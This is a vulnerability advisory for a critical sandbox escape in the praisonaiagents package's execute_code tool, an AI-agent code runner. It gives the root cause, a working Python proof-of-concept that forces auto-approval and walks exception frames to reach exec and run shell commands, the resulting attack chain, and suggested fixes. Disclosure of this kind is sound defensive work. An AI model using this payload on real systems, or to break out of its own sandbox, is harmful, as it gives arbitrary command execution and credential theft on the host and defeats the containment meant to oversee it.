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GHSA-qf73-2hrx-xprp CVE-2026-39888 PYSEC-2026-486

PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)

Critical PyPI
Severity
9.9 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.48%
Chance of exploitation in the next 30 days. Higher than 41.80% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-657 Violation of Secure Design Principles
CWE-693 Protection Mechanism Failure
Fix
1.5.115
Upgrade praisonaiagents to this version or later

Description

Summary

execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs, line 143 of python_tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list:

Attribute In subprocess blocked_attrs In direct-mode _blocked_attrs
__traceback__ NO YES
tb_frame NO YES
f_back NO YES
f_builtins NO YES

Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer.

Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.


Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

Vector Value Rationale
AV:N Network execute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments
AC:L Low No race conditions or special configuration required
PR:L Low Requires ability to submit code through an agent (typical end-user privilege)
UI:N None No victim interaction
S:C Changed Escapes subprocess sandbox into full host process context
C:H High Arbitrary file read, environment variable access, credential exfiltration
I:H High Arbitrary file write, arbitrary code execution on host
A:H High Can terminate processes, exhaust resources

Affected

  • Package: praisonaiagents (PyPI)
  • Affected versions: all versions shipping sandbox_mode="sandbox" (default since introduction) through 1.5.113
  • Patched versions: none at time of report
  • File: praisonaiagents/tools/python_tools.py

Root Cause

Two separate blocked_attrs sets — one much weaker than the other

_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:

# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',   # ← present here
    '__wrapped__', '__closure__', '__annotations__',
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here
    'co_consts', 'co_names',
})

The subprocess wrapper script written to disk (line 143) uses a separate, inline blocked_attrs with only 11 entries — the frame-traversal attrs are missing:

# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__'
    # __traceback__, tb_frame, f_back, f_builtins — all absent
}

_safe_getattr does not protect direct dot-notation access

_safe_getattr replaces the getattr builtin and blocks attribute names starting with _. However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tp_getattro slot and never passes through _safe_getattr. The AST check is therefore the only barrier to direct attribute access, and it is insufficient.

No text-pattern blocklist in subprocess mode

_execute_code_direct applies a text-pattern blocklist (dangerous_patterns) as a defence-in-depth layer. _execute_code_sandboxed has no such layer — only the AST check runs.


Proof of Concept

import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code

CMD = "id"   # any shell command

payload = f"""
try:
    1/0
except ZeroDivisionError as e:
    _p = e.__traceback__.tb_frame.f_back
    _x = _p.f_builtins["exec"]
    _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
       {{"__builtins__": _p.f_builtins}})
"""

result = execute_code(code=payload)
print(result["stdout"])

Output (praisonaiagents 1.5.113, Python 3.10):

uid=1000(user) gid=1000(user) groups=1000(user)

<img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" />

Why each defence is bypassed:

Layer Status Reason
AST blocked_attrs BYPASSED __traceback__, tb_frame, f_back, f_builtins not in 11-item subprocess list
_safe_getattr BYPASSED Only intercepts getattr() calls; dot notation uses C-level tp_getattro
exec-by-name AST check BYPASSED Called as _x(...) — func.id is '_x', not 'exec'
Text-pattern blocklist N/A Does not exist in subprocess mode
Subprocess process isolation BYPASSED Frame traversal reaches real builtins within the subprocess

Attack Chain

execute_code(payload)
  └─ _execute_code_sandboxed()
       └─ subprocess: exec(user_code, safe_globals)
            └─ user_code raises ZeroDivisionError
                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs
                      └─ .tb_frame           ← tb_frame not in blocked_attrs
                           └─ .f_back        ← f_back not in blocked_attrs
                                └─ .f_builtins  ← f_builtins not in blocked_attrs
                                     └─ ["exec"]  ← dict subscript, no attr check
                                          └─ _x("import subprocess; ...")
                                               └─ RCE

Impact

Any application that exposes execute_code to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call:

  • Arbitrary command execution on the host (in the subprocess user context)
  • File system read/write — source code, credentials, .env files, SSH keys
  • Environment variable exfiltration — API keys, secrets passed to the agent process
  • Network access — outbound connections to attacker infrastructure unaffected by env={}
  • Lateral movement — the subprocess inherits the host's network stack and filesystem

Suggested Fix

1. Merge blocked_attrs into a single shared constant

The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blocked_attrs in the wrapper template with the full set:

# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',    # ← ADD
    '__wrapped__', '__closure__', '__annotations__',  # ← ADD
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD
    'co_consts', 'co_names',                          # ← ADD
}

2. Block all _-prefixed attribute access at AST level

_safe_getattr only covers getattr() calls. Add a blanket AST rule to block any ast.Attribute node whose attr starts with _:

if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
    return f"Access to private attribute '{node.attr}' is restricted"

3. Add the text-pattern layer to subprocess mode

Mirror _execute_code_direct's dangerous_patterns check in _execute_code_sandboxed as defence-in-depth.


References

  • Affected file: praisonaiagents/tools/python_tools.py (PyPI: praisonaiagents)
  • CWE-693: Protection Mechanism Failure
  • CWE-657: Violation of Secure Design Principles

Affected versions

PyPI

PackageVulnerableFixed in
praisonaiagents
< 1.5.115
1.5.115

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonaiagents PyPI → 1.5.115

pip
pip install --upgrade "praisonaiagents>=1.5.115"
poetry
poetry add "praisonaiagents>=1.5.115"
uv
uv add "praisonaiagents>=1.5.115"

Severity breakdown

CVSS 3.1 9.9

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-657: Violation of Secure Design Principles

The product violates well-established principles for secure design.

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-gxmw-5f7x-6g22
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High Also affects praisonaiagents
GHSA-cfxv-8fw8-rwpv
praisonaiagents: ast_grep_rewrite rewrites arbitrary files without the @require_approval gate enforced on every sibling mutation tool
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GHSA-x44h-65qv-cw74
praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
High Also affects praisonaiagents
GHSA-7g3p-92qq-8wvh
praisonaiagents: AgentServer declares auth_token but never enforces it on any route
High Also affects praisonaiagents
GHSA-5r34-2g38-6569
praisonaiagents web_crawl vulnerable to SSRF via redirect-following
High Also affects praisonaiagents
GHSA-vg6p-v9vm-6fgj
praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)
High Also affects praisonaiagents
GHSA-8hjw-25cg-g52h
praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets
High Also affects praisonaiagents
GHSA-hxmv-c4g6-5fqc
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
High Also affects praisonaiagents
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